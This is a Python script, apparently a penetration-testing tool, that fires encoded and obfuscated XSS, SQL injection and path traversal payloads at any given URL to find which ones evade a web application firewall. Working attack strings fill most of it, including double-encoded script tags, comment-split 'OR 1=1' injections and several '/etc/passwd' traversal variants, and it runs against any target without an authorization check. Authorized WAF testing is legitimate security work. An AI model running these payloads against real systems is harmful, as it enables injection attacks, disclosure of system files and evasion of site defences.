Performing Web Application Firewall Bypass

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#!/usr/bin/env python3
"""Agent for testing WAF bypass techniques.

Sends encoded, obfuscated, and protocol-level bypass payloads
against a target URL to identify WAF evasion weaknesses in
XSS, SQLi, and path traversal filtering.
"""

import json
import os
import requests
import sys
import urllib.parse
from datetime import datetime


class WAFBypassAgent:
    """Tests web application firewall bypass techniques."""

    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()
        self.findings = []

    def _send(self, payload, param="q", method="GET", headers=None):
        try:
            if method == "GET":
                resp = self.session.get(
                    self.target_url, params={param: payload},
                    headers=headers or {}, timeout=10, allow_redirects=False)
            else:
                resp = self.session.post(
                    self.target_url, data={param: payload},
                    headers=headers or {}, timeout=10, allow_redirects=False)
            return {"status": resp.status_code, "length": len(resp.text),
                    "blocked": resp.status_code in (403, 406, 429, 501)}
        except requests.RequestException as exc:
            return {"error": str(exc)}

    def test_encoding_bypasses(self, base_payload="<script>alert(1)</script>"):
        """Test URL encoding, double encoding, and Unicode bypasses."""
        encodings = {
            "plain": base_payload,
            "url_encoded": urllib.parse.quote(base_payload),
            "double_encoded": urllib.parse.quote(urllib.parse.quote(base_payload)),
            "hex_entities": "".join(f"&#x{ord(c):02x};" for c in base_payload),
            "unicode_fullwidth": base_payload.replace("<", "\uff1c").replace(">", "\uff1e"),
            "null_byte": base_payload[:7] + "%00" + base_payload[7:],
            "tab_insert": base_payload.replace("script", "scr\tipt"),
            "newline_insert": base_payload.replace("script", "scr\nipt"),
        }
        results = []
        for name, payload in encodings.items():
            resp = self._send(payload)
            bypassed = not resp.get("blocked", True) and not resp.get("error")
            if bypassed:
                self.findings.append({"type": "Encoding Bypass", "technique": name,
                                      "severity": "High"})
            results.append({"technique": name, "blocked": resp.get("blocked"),
                            "status": resp.get("status")})
        return results

    def test_sqli_bypasses(self):
        """Test SQL injection WAF bypass techniques."""
        payloads = {
            "inline_comment": "1'/**/OR/**/1=1--",
            "version_comment": "1'/*!50000OR*/1=1--",
            "case_variation": "1' oR 1=1--",
            "concat_function": "1' OR CONCAT(0x31)=1--",
            "hex_encoding": "1' OR 0x313d31--",
            "scientific_notation": "1' OR 1e0=1e0--",
            "buffer_overflow": "1' OR " + "A" * 5000 + " 1=1--",
            "json_content_type": "1' OR '1'='1",
        }
        results = []
        for name, payload in payloads.items():
            headers = {"Content-Type": "application/json"} if name == "json_content_type" else {}
            resp = self._send(payload, method="POST", headers=headers)
            bypassed = not resp.get("blocked", True) and not resp.get("error")
            if bypassed:
                self.findings.append({"type": "SQLi WAF Bypass", "technique": name,
                                      "severity": "Critical"})
            results.append({"technique": name, "blocked": resp.get("blocked"),
                            "status": resp.get("status")})
        return results

    def test_path_traversal_bypasses(self):
        """Test path traversal WAF evasion."""
        payloads = {
            "dot_dot_slash": "../../../etc/passwd",
            "encoded_dots": "..%2f..%2f..%2fetc%2fpasswd",
            "double_encoded": "..%252f..%252f..%252fetc%252fpasswd",
            "utf8_encoding": "..%c0%af..%c0%afetc/passwd",
            "backslash": "..\\..\\..\\etc\\passwd",
            "null_byte_ext": "../../../etc/passwd%00.png",
        }
        results = []
        for name, payload in payloads.items():
            resp = self._send(payload, param="file")
            bypassed = not resp.get("blocked", True) and not resp.get("error")
            if bypassed:
                self.findings.append({"type": "Path Traversal Bypass",
                                      "technique": name, "severity": "High"})
            results.append({"technique": name, "blocked": resp.get("blocked"),
                            "status": resp.get("status")})
        return results

    def test_http_method_bypass(self):
        """Test if WAF only inspects certain HTTP methods."""
        methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS", "HEAD"]
        payload = "<script>alert(1)</script>"
        results = []
        for method in methods:
            try:
                resp = self.session.request(method, self.target_url,
                                            params={"q": payload}, timeout=10)
                results.append({"method": method, "status": resp.status_code,
                                "blocked": resp.status_code in (403, 406, 429)})
            except requests.RequestException:
                results.append({"method": method, "error": "failed"})
        return results

    def generate_report(self):
        report = {
            "target": self.target_url,
            "report_date": datetime.utcnow().isoformat(),
            "total_bypasses": len(self.findings),
            "findings": self.findings,
        }
        print(json.dumps(report, indent=2))
        return report


def main():
    url = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("TARGET_URL", "http://localhost:8080/")
    agent = WAFBypassAgent(url)
    agent.test_encoding_bypasses()
    agent.test_sqli_bypasses()
    agent.test_path_traversal_bypasses()
    agent.test_http_method_bypass()
    agent.generate_report()


if __name__ == "__main__":
    main()